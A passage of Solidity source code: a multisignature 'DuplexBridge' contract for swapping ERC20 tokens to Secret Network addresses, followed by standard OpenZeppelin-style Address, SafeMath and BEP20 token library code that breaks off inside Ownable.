// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/// @title MultiSignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[email protected]>
/// @author Itzik Grossman - modified contract for swapping purposes
contract DuplexBridge {
// No longer needed in 0.8+
//using SafeMath for uint256;
using SafeERC20 for IERC20;
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Withdraw(uint indexed transactionId);
event WithdrawFailure(uint indexed transactionId);
event Swap(uint amount, bytes recipient);
event OwnerAddition(address indexed owner);
event FeeCollectorChange(address indexed collector);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
event SwapToken(address sender, bytes recipient, uint256 amount, address tokenAddress, uint256 toSCRT);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (address => uint) public tokenWhitelist;
mapping(uint => Transaction) public transactions;
mapping(uint => mapping(address => bool)) public confirmations;
mapping(address => bool) public isOwner;
mapping(address => uint) public secretTxNonce;
mapping(address => uint) public tokenBalances;
mapping(address => uint) public tokenLimits;
address[] public tokens;
address[] public owners;
address public investorContract;
address payable public feeCollector;
uint public required;
uint public transactionCount;
bool public paused = false;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
uint nonce;
address token;
uint amount;
uint fee;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
// is above limit
modifier isNotGoingAboveLimit(address _tokenAddress, uint _amount) {
// overflow doesn't matter
require(tokenBalances[_tokenAddress] + _amount <= tokenLimits[_tokenAddress], "Cannot swap more than hard limit");
_;
}
// is not below limit
modifier isNotUnderflowingBalance(address _tokenAddress, uint _amount) {
require(tokenBalances[_tokenAddress] - _amount < tokenBalances[_tokenAddress], "Cannot swap more than balance");
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner], "Owner does not exist");
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != address(0));
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notSubmitted(address token, uint nonce) {
require(secretTxNonce[token] == 0 || secretTxNonce[token] < nonce, "Transaction already computed");
_;
}
modifier notNull(address _address) {
require(_address != address(0));
_;
}
modifier isSecretAddress(bytes memory _address) {
uint8 i = 0;
bytes memory bytesArray = new bytes(7);
for (i = 0; i < 7 && _address[i] != 0; i++) {
bytesArray[i] = _address[i];
}
require(keccak256(bytesArray) == keccak256(bytes("secret1")));
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
modifier notTokenWhitelisted(address token) {
require(tokenWhitelist[token] == 0);
_;
}
modifier tokenWhitelisted(address token) {
require(tokenWhitelist[token] > 0);
_;
}
modifier notPaused() {
require(!paused);
_;
}
/// @dev Fallback function allows to deposit ether.
receive()
external
payable
{
revert();
}
/// @dev Returns the execution status of a transaction.
/// useful in case an execution fails for some reason - so we can easily see that it failed, and handle it manually
/// @param transactionId Transaction ID.
/// @return Execution status.
function isExecuted(uint transactionId)
public
view
returns (bool)
{
return transactions[transactionId].executed;
}
function pauseSwaps()
public
onlyWallet
{
paused = true;
}
function unPauseSwaps()
public
//ownerExists(msg.sender) // todo: remove before production
onlyWallet
{
paused = false;
}
function SupportedTokens()
public
view
returns (address[] memory)
{
return tokens;
}
function setLimit(address _tokenAddress, uint limit)
public
ownerExists(msg.sender)
{
tokenLimits[_tokenAddress] = limit;
}
function addToken(address _tokenAddress, uint min_amount, uint limit)
public
ownerExists(msg.sender)
notTokenWhitelisted(_tokenAddress)
// OnlyWallet todo: consider this as OnlyWallet
{
tokenWhitelist[_tokenAddress] = min_amount;
tokenLimits[_tokenAddress] = limit;
tokens.push(_tokenAddress);
}
function removeToken(address _tokenAddress)
public
ownerExists(msg.sender)
// OnlyWallet todo: consider this as OnlyWallet
{
delete tokenWhitelist[_tokenAddress];
delete tokenBalances[_tokenAddress];
delete tokenLimits[_tokenAddress];
for (uint i = 0; i < tokens.length - 1; i++) {
if (tokens[i] == _tokenAddress) {
tokens[i] = tokens[tokens.length - 1];
break;
}
}
tokens.pop();
}
function getTokenNonce(address _tokenAddress)
public
view
returns (uint)
{
return secretTxNonce[_tokenAddress];
}
function changeInvestorContract(address _address)
public
onlyWallet()
{
investorContract = _address;
}
function releaseToken(address _tokenAddress, uint _amount, address _recipient, uint fee)
public
notPaused()
onlyWallet()
notNull(investorContract)
isNotUnderflowingBalance(_tokenAddress, _amount)
{
ITangoRouter investor = ITangoRouter(investorContract);
IERC20 ercToken = IERC20(_tokenAddress);
tokenBalances[_tokenAddress] = tokenBalances[_tokenAddress] - _amount;
investor.withdraw(_tokenAddress, _amount);
ercToken.safeTransfer(feeCollector, fee);
ercToken.safeTransfer(_recipient, _amount - fee);
}
/*
* Send funds to multisig account, and emit a SwapToken event for emission to the Secret Network
*
* @param _recipient: The intended recipient's Secret Network address.
* @param _amount: The amount of ENG tokens to be itemized.
* @param _tokenAddress: The address of the token being swapped
* @param _toSCRT: Amount of SCRT to be minted - will be deducted from the amount swapped
*/
function swapToken(bytes memory _recipient, uint256 _amount, address _tokenAddress, uint256 _toSCRT)
public
notPaused()
tokenWhitelisted(_tokenAddress)
isSecretAddress(_recipient)
isNotGoingAboveLimit(_tokenAddress, _amount)
{
IERC20 ercToken = IERC20(_tokenAddress);
ITangoRouter investor = ITangoRouter(investorContract);
require(_amount >= tokenWhitelist[_tokenAddress], "Require transfer greater than minimum");
tokenBalances[_tokenAddress] = tokenBalances[_tokenAddress] + _amount;
if (ercToken.allowance(address(this), investorContract) < _amount) {
ercToken.safeApprove(investorContract, type(uint256).max);
}
ercToken.safeTransferFrom(msg.sender, address(this), _amount);
investor.invest(_tokenAddress, _amount);
emit SwapToken(
msg.sender,
_recipient,
_amount,
_tokenAddress,
_toSCRT
);
}
function swap(bytes memory _recipient)
public
notPaused()
isSecretAddress(_recipient)
payable {
revert();
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
// todo: list of supported tokens?
constructor (address[] memory _owners, uint _required, address payable _feeCollector, address _investorContract)
validRequirement(_owners.length, _required)
notNull(_feeCollector)
notNull(_investorContract)
{
for (uint i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0));
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
feeCollector = _feeCollector;
investorContract = _investorContract;
}
function getFeeCollector()
public
view
returns (address)
{
return feeCollector;
}
/// @dev Allows change of the fee collector address. Transaction has to be sent by wallet.
/// @param _feeCollector Address that fees will be sent to.
function replaceFeeCollector(address payable _feeCollector)
public
onlyWallet
notNull(_feeCollector)
{
feeCollector = _feeCollector;
emit FeeCollectorChange(_feeCollector);
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.pop();
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
notNull(newOwner)
{
for (uint i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param fee amount of token or ether to transfer to fee collector
/// @param data Transaction data payload.
/// @return transactionId - Returns transaction ID.
function submitTransaction(address destination, uint value, uint nonce, address token, uint fee, uint amount, bytes memory data)
public
ownerExists(msg.sender)
notSubmitted(token, nonce)
isNotUnderflowingBalance(token, amount)
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, nonce, token, fee, amount, data);
secretTxNonce[token] = nonce;
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
require(gasleft() >= 3000);
if (external_call(txn.destination, txn.value, txn.data, gasleft() - 3000))
emit Withdraw(transactionId);
else {
emit WithdrawFailure(transactionId);
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, bytes memory data, uint256 txGas)
internal
returns (bool success) {
// solium-disable-next-line security/no-inline-assembly
assembly {
success := call(
txGas,
destination,
value,
add(data, 0x20), // First 32 bytes are the padded length of data, so exclude that
mload(data), // Size of the input (in bytes) - this is what fixes the padding problem
0,
0 // Output is ignored, therefore the output size is zero
)
}
return success;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
view
returns (bool)
{
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
return false;
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return transactionId - Returns transaction ID.
function addTransaction(address destination, uint value, uint nonce, address token, uint fee, uint amount, bytes memory data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination : destination,
value : value,
data : data,
executed : false,
nonce : nonce,
token : token,
amount: amount,
fee: fee
});
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return count - Number of confirmations.
function getConfirmationCount(uint transactionId)
public
view
returns (uint count)
{
for (uint i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return count - Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint count)
{
for (uint i = 0; i < transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
view
returns (address[] memory)
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return _confirmations - Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return _transactionIds - Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
view
returns (uint[] memory _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i = 0; i < transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
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/**
*Submitted for verification at Etherscan.io on 2021-12-22
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/BEP20/IBEP20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the BEP20 standard as defined in the EIP.
*/
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/BEP20/BEP20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IBEP20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {BEP20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-bep20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of BEP20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IBEP20-approve}.
*/
contract BEP20 is Context, IBEP20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {BEP20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IBEP20-balanceOf} and {IBEP20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IBEP20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IBEP20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IBEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IBEP20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IBEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IBEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IBEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IBEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
